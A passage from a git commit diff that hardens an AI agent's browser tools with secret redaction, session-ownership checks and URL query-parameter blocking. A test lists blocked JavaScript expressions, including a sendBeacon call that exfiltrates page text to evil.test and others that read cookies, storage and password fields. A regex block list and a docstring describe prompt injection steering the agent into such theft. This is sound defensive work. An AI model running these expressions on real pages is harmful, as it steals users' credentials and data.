fix(browser): harden browser tool safety boundaries
Add policy gates and output redaction for browser/CDP surfaces, strengthen session ownership tracking, and block credential-like query parameters before third-party browser/web backends receive URLs. Inspired by the agbrowse review: keep local browser magic-link flows possible while preventing cloud reader/browser escalation from receiving opaque token, code, signature, or key query parameters.fix/verification-admin-route-recovery
yongjin
Teknium
parent
7eb9716ad7
commit
a0beb52a50
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@ -1194,6 +1194,7 @@ DEFAULT_CONFIG = {
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"engine": "auto",
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"auto_local_for_private_urls": True, # When a cloud provider is set, auto-spawn local Chromium for LAN/localhost URLs instead of sending them to the cloud
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"cdp_url": "", # Optional persistent CDP endpoint for attaching to an existing Chromium/Chrome
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"allow_unsafe_evaluate": False, # Allow browser_console(expression=...) to use sensitive JS primitives (cookies/storage/clipboard/network/form values)
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# CDP supervisor — dialog + frame detection via a persistent WebSocket.
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# Active only when a CDP-capable backend is attached (Browserbase or
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# local Chrome via /browser connect). See
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@ -228,6 +228,21 @@ def test_browser_level_success(cdp_server):
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assert "sessionId" not in calls[0]
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def test_browser_level_redacts_secret_result(cdp_server):
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fake_key = "sk-" + "CDPSECRETRESULT1234567890"
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cdp_server.on(
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"Runtime.evaluate",
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lambda params, sid: {"result": {"type": "string", "value": fake_key}},
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)
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result = json.loads(browser_cdp_tool.browser_cdp(method="Runtime.evaluate"))
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assert result["success"] is True
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serialized = json.dumps(result)
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assert "CDPSECRETRESULT" not in serialized
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assert result["result"]["result"]["value"].startswith("sk-")
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def test_empty_params_sends_empty_object(cdp_server):
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cdp_server.on("Browser.getVersion", lambda params, sid: {"product": "Mock/1.0"})
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json.loads(browser_cdp_tool.browser_cdp(method="Browser.getVersion"))
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@ -95,6 +95,118 @@ class TestBrowserConsole:
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assert result["total_messages"] == 0
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assert result["total_errors"] == 0
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def test_redacts_secrets_from_console_messages_and_errors(self):
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from tools.browser_tool import browser_console
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fake_key = "sk-" + "BROWSERCONSOLESECRET1234567890"
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console_response = {
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"success": True,
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"data": {"messages": [{"text": f"token={fake_key}", "type": "log"}]},
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}
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errors_response = {
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"success": True,
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"data": {"errors": [{"message": f"Uncaught auth {fake_key}"}]},
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}
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with patch("tools.browser_tool._run_browser_command") as mock_cmd:
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mock_cmd.side_effect = [console_response, errors_response]
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result = json.loads(browser_console(task_id="test"))
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serialized = json.dumps(result)
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assert "BROWSERCONSOLESECRET" not in serialized
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assert "sk-" in result["console_messages"][0]["text"]
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assert "..." in result["console_messages"][0]["text"]
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def test_redacts_secrets_from_eval_result(self):
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from tools.browser_tool import _browser_eval
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fake_key = "ghp_" + "BROWSEREVALSECRET1234567890"
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with patch("tools.browser_tool._last_session_key", return_value="test"), \
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patch("tools.browser_tool._is_camofox_mode", return_value=False), \
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patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}):
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result = json.loads(_browser_eval("document.body.innerText", task_id="test"))
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assert result["success"] is True
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assert "BROWSEREVALSECRET" not in json.dumps(result)
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assert result["result"].startswith("ghp_")
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def test_redacts_secrets_from_snapshot_output(self):
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from tools.browser_tool import browser_snapshot
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fake_key = "xai-" + "BROWSERSNAPSHOTSECRET12345678901234567890"
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snapshot_response = {
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"success": True,
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"data": {"snapshot": f"text: key {fake_key}", "refs": {}},
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}
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with patch("tools.browser_tool._last_session_key", return_value="test"), \
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patch("tools.browser_tool._is_camofox_mode", return_value=False), \
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patch("tools.browser_tool._run_browser_command", return_value=snapshot_response):
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result = json.loads(browser_snapshot(task_id="test"))
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assert result["success"] is True
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assert "BROWSERSNAPSHOTSECRET" not in result["snapshot"]
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assert "xai-" in result["snapshot"]
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def test_expression_allows_harmless_dom_inspection(self):
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from tools.browser_tool import browser_console
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with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
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patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "Example"})) as mock_eval:
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result = json.loads(browser_console(expression="document.title", task_id="test"))
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assert result == {"success": True, "result": "Example"}
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mock_eval.assert_called_once_with("document.title", "test")
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def test_expression_blocks_cookie_access_before_eval(self):
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from tools.browser_tool import browser_console
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with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
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patch("tools.browser_tool._browser_eval") as mock_eval:
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result = json.loads(browser_console(expression="document.cookie", task_id="test"))
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assert result["success"] is False
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assert "Blocked" in result["error"]
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assert "document.cookie" in result["error"]
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mock_eval.assert_not_called()
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def test_expression_blocks_storage_and_network_access_before_eval(self):
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from tools.browser_tool import browser_console
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risky_expressions = [
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"localStorage.getItem('token')",
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"sessionStorage.token",
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"indexedDB.databases()",
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"navigator.clipboard.readText()",
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"fetch('/api/me')",
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"navigator.sendBeacon('https://evil.test', document.body.innerText)",
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"document.querySelector('input[type=password]').value",
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]
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with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
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patch("tools.browser_tool._browser_eval") as mock_eval:
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for expr in risky_expressions:
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result = json.loads(browser_console(expression=expr, task_id="test"))
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assert result["success"] is False, expr
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assert "Blocked" in result["error"], expr
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mock_eval.assert_not_called()
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def test_expression_config_opt_in_allows_risky_eval(self):
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from tools.browser_tool import browser_console
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with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
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patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval:
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result = json.loads(browser_console(expression="document.cookie", task_id="test"))
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assert result == {"success": True, "result": "cookie=value"}
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mock_eval.assert_called_once_with("document.cookie", "test")
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def test_allow_unsafe_evaluate_reads_browser_config(self):
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from tools.browser_tool import _allow_unsafe_browser_evaluate
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with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": "true"}}):
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assert _allow_unsafe_browser_evaluate() is True
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with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}):
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assert _allow_unsafe_browser_evaluate() is False
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# ── browser_console schema ───────────────────────────────────────────
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@ -129,11 +129,54 @@ class TestSessionKeyHelpers:
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"_last_active_session_key",
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{"default": "default::local", "task-42": "task-42"},
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)
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monkeypatch.setattr(
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browser_tool,
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"_active_sessions",
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{"default::local": {"session_name": "local_sess"}},
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)
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assert browser_tool._last_session_key("default") == "default::local"
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assert browser_tool._last_session_key("task-42") == "task-42"
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# Unknown task_id still falls back
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assert browser_tool._last_session_key("other") == "other"
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def test_last_session_key_drops_stale_sidecar_binding(self, monkeypatch):
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"""A cleaned last-active sidecar must not be silently resurrected."""
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last_active = {"default": "default::local"}
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monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active)
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monkeypatch.setattr(
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browser_tool,
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"_active_sessions",
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{"default": {"session_name": "cloud_sess"}},
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)
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assert browser_tool._last_session_key("default") == "default"
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assert last_active == {}
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def test_last_session_key_keeps_bare_task_binding_without_active_session(self, monkeypatch):
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"""Bare task fallback preserves historical lazy-create behavior."""
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monkeypatch.setattr(browser_tool, "_last_active_session_key", {"default": "default"})
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monkeypatch.setattr(browser_tool, "_active_sessions", {})
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assert browser_tool._last_session_key("default") == "default"
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def test_last_session_key_drops_mismatched_owner_metadata(self, monkeypatch):
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"""Explicit ownership metadata prevents retargeting to another task's session."""
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last_active = {"default": "other-task::local"}
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monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active)
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monkeypatch.setattr(
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browser_tool,
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"_active_sessions",
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{
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"other-task::local": {
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"session_name": "local_sess",
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"session_key": "other-task::local",
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"owner_task_id": "other-task",
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}
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},
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)
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assert browser_tool._last_session_key("default") == "default"
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assert last_active == {}
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class TestHybridRoutingSessionCreation:
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"""_get_session_info must force a local session when the key carries ``::local``."""
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@ -155,6 +198,8 @@ class TestHybridRoutingSessionCreation:
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assert session["bb_session_id"] is None
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assert session["cdp_url"] is None
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assert session["features"]["local"] is True
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assert session["session_key"] == "default::local"
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assert session["owner_task_id"] == "default"
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def test_bare_task_id_with_cloud_provider_uses_cloud(self, monkeypatch):
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"""A bare task_id with cloud provider configured hits the cloud path."""
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@ -172,6 +217,8 @@ class TestHybridRoutingSessionCreation:
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assert provider.create_session.call_count == 1
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assert session["bb_session_id"] == "bb_123"
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assert session["session_key"] == "default"
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assert session["owner_task_id"] == "default"
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class TestCleanupHybridSessions:
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@ -244,5 +291,6 @@ class TestCleanupHybridSessions:
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browser_tool.cleanup_browser("default::local")
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assert reaped == ["default::local"]
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# Last-active pointer NOT dropped (primary task is still alive)
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assert browser_tool._last_active_session_key.get("default") == "default::local"
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# The cleaned sidecar must not remain the recorded owner; otherwise a
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# later click/snapshot could resurrect it instead of using the primary.
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assert "default" not in browser_tool._last_active_session_key
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@ -28,6 +28,34 @@ class TestBrowserSecretExfil:
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parsed = json.loads(result)
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assert parsed["success"] is False
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def test_cloud_blocks_opaque_sensitive_query_param(self):
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"""Cloud browser providers must not receive opaque token query params."""
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from tools.browser_tool import browser_navigate
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with patch("tools.browser_tool._is_local_backend", return_value=False), \
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patch("tools.browser_tool._navigation_session_key", return_value="default"), \
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patch("tools.browser_tool._run_browser_command") as mock_run:
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result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "credential-like query parameter" in parsed["error"]
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assert "token" in parsed["error"]
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mock_run.assert_not_called()
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def test_local_browser_allows_opaque_sensitive_query_param(self):
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"""Local browser/CDP sessions may navigate magic-link style URLs."""
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from tools.browser_tool import browser_navigate
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mock_result = {"success": True, "data": {"title": "ok", "url": "https://example.com/callback?token=opaque-oauth-code"}}
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with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \
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patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
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patch("tools.browser_tool._is_local_backend", return_value=True):
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result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
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parsed = json.loads(result)
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assert parsed["success"] is True
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def test_allows_normal_url(self):
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"""Normal URLs pass the secret check (may fail for other reasons)."""
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from tools.browser_tool import browser_navigate
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@ -75,6 +103,20 @@ class TestWebExtractSecretExfil:
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assert parsed["success"] is False
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assert "Blocked" in parsed["error"]
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@pytest.mark.asyncio
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async def test_blocks_opaque_sensitive_query_param(self):
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from tools.web_tools import web_extract_tool
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result = await web_extract_tool(
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urls=["https://example.com/callback?code=opaque-oauth-code"],
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use_llm_processing=False,
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)
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parsed = json.loads(result)
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assert parsed["success"] is False
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assert "credential-like query parameter" in parsed["error"]
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assert "code" in parsed["error"]
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@pytest.mark.asyncio
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async def test_allows_normal_url(self):
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from tools.web_tools import web_extract_tool
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@ -258,3 +300,42 @@ class TestCamofoxAnnotationRedaction:
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assert "ANTHROPICFAKEKEY123456789" not in result
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assert "OPENAIFAKEKEY99887766" not in result
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assert "PATH=/usr/local/bin" in result
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class TestBrowserSupervisorRedaction:
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"""Verify supervisor dialog snapshots redact page-originated secrets."""
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def test_pending_and_recent_dialog_messages_redacted(self):
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from tools.browser_supervisor import DialogRecord, PendingDialog, SupervisorSnapshot
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fake_key = "sk-" + "SUPERVISORDIALOGSECRET1234567890"
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snapshot = SupervisorSnapshot(
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pending_dialogs=(PendingDialog(
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id="d1",
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type="prompt",
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message=f"Enter API key {fake_key}",
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default_prompt=fake_key,
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opened_at=1.0,
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cdp_session_id="session-1",
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),),
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recent_dialogs=(DialogRecord(
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id="d2",
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type="alert",
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message=f"Recent key {fake_key}",
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opened_at=1.0,
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closed_at=2.0,
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closed_by="agent",
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),),
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frame_tree={"top": {"frame_id": "f1", "url": "about:blank", "origin": "null", "is_oopif": False}},
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console_errors=(),
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active=True,
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cdp_url="ws://example.invalid/devtools/browser/mock",
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task_id="test",
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)
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result = snapshot.to_dict()
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serialized = str(result)
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assert "SUPERVISORDIALOGSECRET" not in serialized
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assert result["pending_dialogs"][0]["message"].startswith("Enter API key sk-")
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assert result["pending_dialogs"][0]["default_prompt"].startswith("sk-")
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assert result["recent_dialogs"][0]["message"].startswith("Recent key sk-")
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@ -28,6 +28,21 @@ logger = logging.getLogger(__name__)
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CDP_DOCS_URL = "https://chromedevtools.github.io/devtools-protocol/"
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def _redact_cdp_output(value: Any) -> Any:
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"""Redact browser-originated CDP result data before returning it."""
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from agent.redact import redact_sensitive_text
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if isinstance(value, str):
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return redact_sensitive_text(value, force=True)
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if isinstance(value, list):
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return [_redact_cdp_output(item) for item in value]
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if isinstance(value, tuple):
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return tuple(_redact_cdp_output(item) for item in value)
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if isinstance(value, dict):
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return {key: _redact_cdp_output(item) for key, item in value.items()}
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return value
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# ``websockets`` is a direct hermes-agent dependency because the browser CDP
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# supervisor and browser_dialog tool import it during tool discovery. Wrap the
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# import so a clean error surfaces if an environment is stale or incomplete.
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@ -412,7 +427,7 @@ def browser_cdp(
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payload: Dict[str, Any] = {
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"success": True,
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"method": method,
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"result": result,
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"result": _redact_cdp_output(result),
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}
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if target_id:
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payload["target_id"] = target_id
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@ -53,6 +53,13 @@ def _redact_cdp_error_text(exc: object) -> str:
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return "<error redacted>"
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def _redact_supervisor_text(value: str) -> str:
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"""Redact page-originated text before exposing supervisor snapshots."""
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from agent.redact import redact_sensitive_text
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return redact_sensitive_text(value, force=True)
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# ── Config defaults ───────────────────────────────────────────────────────────
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DIALOG_POLICY_MUST_RESPOND = "must_respond"
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@ -166,8 +173,8 @@ class PendingDialog:
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return {
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"id": self.id,
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"type": self.type,
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"message": self.message,
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"default_prompt": self.default_prompt,
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"message": _redact_supervisor_text(self.message),
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"default_prompt": _redact_supervisor_text(self.default_prompt),
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"opened_at": self.opened_at,
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"frame_id": self.frame_id,
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}
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@ -194,7 +201,7 @@ class DialogRecord:
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return {
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"id": self.id,
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"type": self.type,
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"message": self.message,
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"message": _redact_supervisor_text(self.message),
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"opened_at": self.opened_at,
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"closed_at": self.closed_at,
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||||
"closed_by": self.closed_by,
|
||||
|
|
|
|||
|
|
@ -114,11 +114,13 @@ try:
|
|||
is_safe_url as _is_safe_url,
|
||||
is_always_blocked_url as _is_always_blocked_url,
|
||||
normalize_url_for_request as _normalize_url_for_request,
|
||||
sensitive_query_param_name as _sensitive_query_param_name,
|
||||
)
|
||||
except Exception:
|
||||
_is_safe_url = lambda url: False # noqa: E731 — fail-closed: block all if safety module unavailable
|
||||
_is_always_blocked_url = lambda url: True # noqa: E731 — fail-closed on the floor too
|
||||
_normalize_url_for_request = lambda url: url # noqa: E731 — best-effort fallback
|
||||
_sensitive_query_param_name = lambda url: None # noqa: E731 — best-effort fallback
|
||||
# Browser-provider ABC + registry — PR #25214 moved the per-vendor providers
|
||||
# (Browserbase / Browser Use / Firecrawl) out of ``tools/browser_providers/``
|
||||
# and into ``plugins/browser/<vendor>/``. The dispatcher consults the
|
||||
|
|
@ -1272,17 +1274,56 @@ def _is_local_sidecar_key(session_key: str) -> bool:
|
|||
return session_key.endswith(_LOCAL_SUFFIX)
|
||||
|
||||
|
||||
def _last_session_key(task_id: str) -> str:
|
||||
"""Return the session key to use for a non-nav browser tool call.
|
||||
def _bare_task_id_for_session_key(session_key: str) -> str:
|
||||
"""Return the owning bare task id for an opaque browser session key."""
|
||||
if _is_local_sidecar_key(session_key):
|
||||
return session_key[: -len(_LOCAL_SUFFIX)]
|
||||
return session_key
|
||||
|
||||
If a previous ``browser_navigate`` on this task_id set a last-active key,
|
||||
use it so snapshot/click/fill/etc. hit the same session. Otherwise fall
|
||||
back to the bare task_id (matches original behavior for tasks that never
|
||||
triggered hybrid routing).
|
||||
|
||||
def _session_info_owned_by_task(session_info: Dict[str, Any], task_id: str, session_key: str) -> bool:
|
||||
"""Return whether ``session_info`` still belongs to ``task_id``/``session_key``.
|
||||
|
||||
Sessions created by current code carry explicit ownership metadata. Treat
|
||||
older in-memory entries without those fields as valid for hot-reload/test
|
||||
compatibility, but reject any explicit mismatch before a non-navigation
|
||||
tool can act on the wrong tab/session.
|
||||
"""
|
||||
owner = session_info.get("owner_task_id")
|
||||
key = session_info.get("session_key")
|
||||
if owner is not None and owner != task_id:
|
||||
return False
|
||||
if key is not None and key != session_key:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _last_session_key(task_id: str) -> str:
|
||||
"""Return the live session key to use for a non-nav browser tool call.
|
||||
|
||||
``browser_navigate`` records which concrete session key served a task's
|
||||
most recent successful navigation. Non-navigation tools must reuse that key
|
||||
so click/fill/snapshot land in the same browser. If the recorded owner was
|
||||
later cleaned up or ownership metadata no longer matches, fail closed by
|
||||
dropping the stale binding instead of silently recreating or mutating the
|
||||
wrong browser.
|
||||
"""
|
||||
if task_id is None:
|
||||
task_id = "default"
|
||||
return _last_active_session_key.get(task_id, task_id)
|
||||
recorded_key = _last_active_session_key.get(task_id)
|
||||
if not recorded_key:
|
||||
return task_id
|
||||
with _cleanup_lock:
|
||||
session_info = _active_sessions.get(recorded_key)
|
||||
if session_info and _session_info_owned_by_task(session_info, task_id, recorded_key):
|
||||
return recorded_key
|
||||
_last_active_session_key.pop(task_id, None)
|
||||
logger.debug(
|
||||
"browser session ownership: dropping stale/mismatched last-active binding %s -> %s",
|
||||
task_id,
|
||||
recorded_key,
|
||||
)
|
||||
return task_id
|
||||
|
||||
|
||||
def _allow_private_urls() -> bool:
|
||||
|
|
@ -1336,7 +1377,7 @@ def _socket_safe_tmpdir() -> str:
|
|||
# cleanup_browser code paths — the key is opaque to those internals.
|
||||
#
|
||||
# Stores: session_name (always), bb_session_id + cdp_url (cloud mode only)
|
||||
_active_sessions: Dict[str, Dict[str, str]] = {} # session_key -> {session_name, ...}
|
||||
_active_sessions: Dict[str, Dict[str, Any]] = {} # session_key -> {session_name, ...}
|
||||
_recording_sessions: set = set() # session_keys with active recordings
|
||||
|
||||
# Tracks the most recent session_key used per task_id. Set by browser_navigate()
|
||||
|
|
@ -1942,7 +1983,7 @@ def _create_cdp_session(task_id: str, cdp_url: str) -> Dict[str, str]:
|
|||
}
|
||||
|
||||
|
||||
def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
|
||||
def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]:
|
||||
"""
|
||||
Get or create session info for the given session key.
|
||||
|
||||
|
|
@ -2029,6 +2070,9 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
|
|||
# orphan cloud sessions.
|
||||
if task_id in _active_sessions:
|
||||
return _active_sessions[task_id]
|
||||
session_info = dict(session_info)
|
||||
session_info.setdefault("session_key", task_id)
|
||||
session_info.setdefault("owner_task_id", _bare_task_id_for_session_key(task_id))
|
||||
_active_sessions[task_id] = session_info
|
||||
|
||||
# Lazy-start the CDP supervisor now that the session exists (if the
|
||||
|
|
@ -2608,6 +2652,27 @@ def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:
|
|||
return '\n'.join(result)
|
||||
|
||||
|
||||
def _redact_browser_output(value: Any) -> Any:
|
||||
"""Redact secrets from browser-originated data before returning to the model.
|
||||
|
||||
Browser snapshots, console messages, JS exceptions, and eval results can
|
||||
contain page-rendered API keys, cookies, bearer tokens, or pasted secrets.
|
||||
Tool output is a model boundary, so force redaction here even if global log
|
||||
redaction is disabled for debugging.
|
||||
"""
|
||||
from agent.redact import redact_sensitive_text
|
||||
|
||||
if isinstance(value, str):
|
||||
return redact_sensitive_text(value, force=True)
|
||||
if isinstance(value, list):
|
||||
return [_redact_browser_output(item) for item in value]
|
||||
if isinstance(value, tuple):
|
||||
return tuple(_redact_browser_output(item) for item in value)
|
||||
if isinstance(value, dict):
|
||||
return {key: _redact_browser_output(item) for key, item in value.items()}
|
||||
return value
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# Browser Tool Functions
|
||||
# ============================================================================
|
||||
|
|
@ -2657,6 +2722,18 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
|||
nav_session_key = _navigation_session_key(effective_task_id, url)
|
||||
auto_local_this_nav = _is_local_sidecar_key(nav_session_key)
|
||||
|
||||
sensitive_query_key = _sensitive_query_param_name(url)
|
||||
if sensitive_query_key and not _is_local_backend() and not auto_local_this_nav:
|
||||
return json.dumps({
|
||||
"success": False,
|
||||
"error": (
|
||||
"Blocked: URL contains a credential-like query parameter "
|
||||
f"({sensitive_query_key}). Cloud browser backends are third-party "
|
||||
"readers; use a local browser/CDP session or remove the sensitive "
|
||||
"query parameter before navigating."
|
||||
),
|
||||
})
|
||||
|
||||
# Always-blocked floor: cloud metadata / IMDS endpoints are denied
|
||||
# regardless of backend, hybrid routing, or allow_private_urls.
|
||||
# There's no legitimate agent use case for navigating to
|
||||
|
|
@ -2720,11 +2797,6 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
|||
timeout=_get_open_command_timeout(first_open=is_first_nav),
|
||||
)
|
||||
|
||||
# Remember which session served this nav so snapshot/click/fill/...
|
||||
# on the same task_id hit it (critical when hybrid routing has both a
|
||||
# cloud session and a local sidecar alive concurrently).
|
||||
_last_active_session_key[effective_task_id] = nav_session_key
|
||||
|
||||
if result.get("success"):
|
||||
data = result.get("data", {})
|
||||
title = data.get("title", "")
|
||||
|
|
@ -2769,6 +2841,10 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
|||
"url": final_url,
|
||||
"title": title
|
||||
}
|
||||
# Remember only a successful, non-blocked navigation as the task owner.
|
||||
# Failed opens and blocked redirects must not retarget follow-up clicks
|
||||
# or snapshots to a newly-created but irrelevant session.
|
||||
_last_active_session_key[effective_task_id] = nav_session_key
|
||||
_copy_fallback_warning(response, result)
|
||||
|
||||
# Detect common "blocked" page patterns from title/url
|
||||
|
|
@ -2810,7 +2886,7 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
|
|||
refs = snap_data.get("refs", {})
|
||||
if len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD:
|
||||
snapshot_text = _truncate_snapshot(snapshot_text)
|
||||
response["snapshot"] = snapshot_text
|
||||
response["snapshot"] = _redact_browser_output(snapshot_text)
|
||||
response["element_count"] = len(refs) if refs else 0
|
||||
if snap_result.get("fallback_warning") and not response.get("fallback_warning"):
|
||||
_copy_fallback_warning(response, snap_result)
|
||||
|
|
@ -2898,7 +2974,7 @@ def browser_snapshot(
|
|||
|
||||
response = {
|
||||
"success": True,
|
||||
"snapshot": snapshot_text,
|
||||
"snapshot": _redact_browser_output(snapshot_text),
|
||||
"element_count": len(refs) if refs else 0
|
||||
}
|
||||
_copy_fallback_warning(response, result)
|
||||
|
|
@ -2912,7 +2988,7 @@ def browser_snapshot(
|
|||
if _supervisor is not None:
|
||||
_sv_snap = _supervisor.snapshot()
|
||||
if _sv_snap.active:
|
||||
response.update(_sv_snap.to_dict())
|
||||
response.update(_redact_browser_output(_sv_snap.to_dict()))
|
||||
except Exception as _sv_exc:
|
||||
logger.debug("supervisor snapshot merge failed: %s", _sv_exc)
|
||||
|
||||
|
|
@ -3173,6 +3249,9 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
|
|||
"""
|
||||
# --- JS evaluation mode ---
|
||||
if expression is not None:
|
||||
policy_error = _enforce_browser_eval_policy(expression)
|
||||
if policy_error:
|
||||
return json.dumps({"success": False, "error": policy_error}, ensure_ascii=False)
|
||||
return _browser_eval(expression, task_id)
|
||||
|
||||
# --- Console output mode (original behaviour) ---
|
||||
|
|
@ -3193,7 +3272,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
|
|||
for msg in console_result.get("data", {}).get("messages", []):
|
||||
messages.append({
|
||||
"type": msg.get("type", "log"),
|
||||
"text": msg.get("text", ""),
|
||||
"text": _redact_browser_output(msg.get("text", "")),
|
||||
"source": "console",
|
||||
})
|
||||
|
||||
|
|
@ -3201,7 +3280,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
|
|||
if errors_result.get("success"):
|
||||
for err in errors_result.get("data", {}).get("errors", []):
|
||||
errors.append({
|
||||
"message": err.get("message", ""),
|
||||
"message": _redact_browser_output(err.get("message", "")),
|
||||
"source": "exception",
|
||||
})
|
||||
|
||||
|
|
@ -3286,6 +3365,64 @@ def _current_page_private_url(effective_task_id: str) -> Optional[str]:
|
|||
return None
|
||||
|
||||
|
||||
_RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = (
|
||||
(re.compile(r"\bdocument\s*\.\s*cookie\b", re.I), "document.cookie"),
|
||||
(re.compile(r"\b(?:localStorage|sessionStorage)\b", re.I), "web storage"),
|
||||
(re.compile(r"\bindexedDB\b", re.I), "IndexedDB"),
|
||||
(re.compile(r"\bcaches\s*\.\s*(?:open|match|keys)\b", re.I), "Cache Storage"),
|
||||
(re.compile(r"\bnavigator\s*\.\s*(?:clipboard|credentials|serviceWorker)\b", re.I), "navigator sensitive API"),
|
||||
(re.compile(r"\b(?:fetch|XMLHttpRequest|WebSocket|EventSource)\s*\(", re.I), "network request"),
|
||||
(re.compile(r"\bnavigator\s*\.\s*sendBeacon\s*\(", re.I), "network beacon"),
|
||||
(re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"),
|
||||
(re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"),
|
||||
)
|
||||
|
||||
|
||||
def _allow_unsafe_browser_evaluate() -> bool:
|
||||
"""Return whether sensitive browser JS evaluation is explicitly allowed.
|
||||
|
||||
``browser_console(expression=...)`` is useful for read-only DOM inspection,
|
||||
but a malicious page or prompt injection can try to steer the agent into
|
||||
evaluating code that reads cookies/storage/form values or performs network
|
||||
exfiltration. Keep harmless expressions (``document.title`` etc.) working,
|
||||
while requiring a config opt-in for the dangerous primitives.
|
||||
"""
|
||||
try:
|
||||
from hermes_cli.config import read_raw_config
|
||||
|
||||
cfg = read_raw_config()
|
||||
return is_truthy_value(cfg_get(cfg, "browser", "allow_unsafe_evaluate"), default=False)
|
||||
except Exception as e:
|
||||
logger.debug("Could not read browser.allow_unsafe_evaluate from config: %s", e)
|
||||
return False
|
||||
|
||||
|
||||
def _risky_browser_eval_reason(expression: str) -> Optional[str]:
|
||||
"""Return a human-readable reason if a JS expression uses risky primitives."""
|
||||
if not expression:
|
||||
return None
|
||||
for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS:
|
||||
if pattern.search(expression):
|
||||
return reason
|
||||
return None
|
||||
|
||||
|
||||
def _enforce_browser_eval_policy(expression: str) -> Optional[str]:
|
||||
"""Fail closed for sensitive browser JS evaluation unless config opts in."""
|
||||
if _allow_unsafe_browser_evaluate():
|
||||
return None
|
||||
reason = _risky_browser_eval_reason(expression)
|
||||
if not reason:
|
||||
return None
|
||||
return (
|
||||
"Blocked: browser_console(expression=...) tried to use sensitive browser "
|
||||
f"JavaScript primitive ({reason}). Use browser_snapshot/browser_get_images/"
|
||||
"browser_console without expression for normal inspection, or set "
|
||||
"browser.allow_unsafe_evaluate: true in config.yaml only for trusted pages "
|
||||
"when this access is explicitly required."
|
||||
)
|
||||
|
||||
|
||||
def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
|
||||
"""Evaluate a JavaScript expression in the page context and return the result."""
|
||||
if _is_camofox_mode():
|
||||
|
|
@ -3351,7 +3488,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
|
|||
}, ensure_ascii=False)
|
||||
response = {
|
||||
"success": True,
|
||||
"result": parsed,
|
||||
"result": _redact_browser_output(parsed),
|
||||
"result_type": type(parsed).__name__,
|
||||
"method": "cdp_supervisor",
|
||||
}
|
||||
|
|
@ -3421,7 +3558,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
|
|||
|
||||
response = {
|
||||
"success": True,
|
||||
"result": parsed,
|
||||
"result": _redact_browser_output(parsed),
|
||||
"result_type": type(parsed).__name__,
|
||||
}
|
||||
# Post-eval page-URL recheck: if this (or a prior) eval navigated the page
|
||||
|
|
@ -3459,7 +3596,7 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:
|
|||
|
||||
return json.dumps({
|
||||
"success": True,
|
||||
"result": parsed,
|
||||
"result": _redact_browser_output(parsed),
|
||||
"result_type": type(parsed).__name__,
|
||||
}, ensure_ascii=False, default=str)
|
||||
except Exception as e:
|
||||
|
|
@ -3577,7 +3714,7 @@ def browser_get_images(task_id: Optional[str] = None) -> str:
|
|||
|
||||
response = {
|
||||
"success": True,
|
||||
"images": images,
|
||||
"images": _redact_browser_output(images),
|
||||
"count": len(images)
|
||||
}
|
||||
return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
|
||||
|
|
@ -3983,9 +4120,14 @@ def cleanup_browser(task_id: Optional[str] = None) -> None:
|
|||
for session_key in session_keys:
|
||||
_cleanup_single_browser_session(session_key)
|
||||
|
||||
# Drop the last-active pointer only when the bare task is being cleaned
|
||||
# (i.e. not when we're only reaping a sidecar mid-task).
|
||||
if not _is_local_sidecar_key(task_id):
|
||||
# Drop stale last-active ownership. Cleaning a bare task drops its binding;
|
||||
# cleaning a sidecar drops the binding only if that sidecar was still the
|
||||
# recorded owner. This prevents a later click/snapshot from resurrecting a
|
||||
# cleaned sidecar on about:blank while preserving a primary-session binding.
|
||||
if _is_local_sidecar_key(task_id):
|
||||
if _last_active_session_key.get(bare_task_id) == task_id:
|
||||
_last_active_session_key.pop(bare_task_id, None)
|
||||
else:
|
||||
_last_active_session_key.pop(bare_task_id, None)
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -29,7 +29,7 @@ import os
|
|||
import socket
|
||||
import asyncio
|
||||
from typing import Any, Optional
|
||||
from urllib.parse import quote, urljoin, urlparse, urlsplit, urlunsplit
|
||||
from urllib.parse import parse_qsl, quote, unquote, urljoin, urlparse, urlsplit, urlunsplit
|
||||
|
||||
from utils import is_truthy_value
|
||||
|
||||
|
|
@ -76,6 +76,62 @@ def normalize_url_for_request(url: str) -> str:
|
|||
|
||||
